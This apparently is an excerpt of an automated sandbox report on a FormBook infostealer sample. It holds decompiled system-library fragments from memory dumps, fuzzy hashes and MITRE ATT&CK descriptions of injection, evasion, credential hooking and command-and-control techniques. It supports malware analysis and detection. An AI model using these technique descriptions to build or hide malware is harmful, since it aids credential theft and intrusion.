Instruction ID: 589cb09413b7451797dc4b473a83c7fe763855d1da895ba5cc0150813ca8301d
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 22C08C31280B40AEEB229F20CD41B0176A0BB00B05F8800A06300DA0F0DB7CD901E600

Uniqueness

Uniqueness Score: -1.00%

Function 0345A537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0345A537(intOrPtr _a4, intOrPtr _a8) {

				return L033F8E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x0345a553

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: b42adfe0b1fbe24cb0bf406017e9c73e81b9111f55b64c3dba9523c54d5cbf7a
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 1DC01236080648BBCB12AE81CC00F06BB2AEBA4B60F008010BA080E5708632E970EA84

Uniqueness

Uniqueness Score: -1.00%

Function 033F3A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033F3A1C(intOrPtr _a4) {
				void* _t5;

				return L033F4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x033f3a35

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 6507cd224cab378ccdecc87a029747285237a97da51be237d6cb8320c75afc82
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 4DC08C32080248BBCB12AE42DC00F027B29E790B60F000020B7040A5608536ED60D588

Uniqueness

Uniqueness Score: -1.00%

Function 034036CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E034036CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x034036d2
0x034036e8
0x034036d4
0x034036e5
0x034036e5

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: e2560c38bbe3002dfafef63d6a3b9d496a04d3aba918d7cf9a2f0339c6985f05
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: B0C04C79255540BADA259F20CD51B1A7654A750A61FA806647221495F0D5699D00D504

Uniqueness

Uniqueness Score: -1.00%

Function 033E76E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033E76E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x033e76e4
0x00000000
0x033e76f8
0x033e76fd

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 44096e65171a725d9e1e7de02e675e14bf4a91b97473e73456bfc9f7506a5e8e
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 1DC08C741512805EEB2EDB08CEA0B303654AB0860CF8C019CBA012D4E1C368B803C208

Uniqueness

Uniqueness Score: -1.00%

Function 033DAD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033DAD30(intOrPtr _a4) {

				return L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x033dad49

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 4e0e881d036b43d776bd5590c6248989ff481b418e121800b9fa0e4888dff5d9
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 7DC08C32080248BBC712AA45CD40F117B29E790BA0F000020B6040A6618932E861D588

Uniqueness

Uniqueness Score: -1.00%

Function 033F7D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033F7D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x033f7d56
0x033f7d5b
0x033f7d60
0x033f7d5d
0x033f7d5d
0x033f7d5d

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 80132d690dc0f080517ec807ea723cb670afc0f312d47eafc19e9ba6b2423505
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 2FB092343019408FCE16DF18C580B1533E8BB44A80BC800D0E400CBA20D229E8008A00

Uniqueness

Uniqueness Score: -1.00%

Function 0346FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0346FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0341CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E03465720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E03465720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0346fdda
0x0346fde2
0x0346fde5
0x0346fdec
0x0346fdfa
0x0346fdff
0x0346fe0a
0x0346fe0f
0x0346fe17
0x0346fe1e
0x0346fe19
0x0346fe19
0x0346fe19
0x0346fe20
0x0346fe21
0x0346fe22
0x0346fe25
0x0346fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0346FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0346FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0346FE2B

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: b8c33714a9e23a542184cfbe1a59bbeaaca1b04fc970bf861773c069c391efb3
Instruction ID: a8a2bee71e0e3b48c1bc85e4650ec58a6a2b757a5c2e0da4c4c7624dfb7f440c
Opcode Fuzzy Hash: b8c33714a9e23a542184cfbe1a59bbeaaca1b04fc970bf861773c069c391efb3
Instruction Fuzzy Hash: 0CF0C236240641BFDB209A46EC42E27BF5AEB45730F14421AF6685E5D1DA62BC3087A9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 010013.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre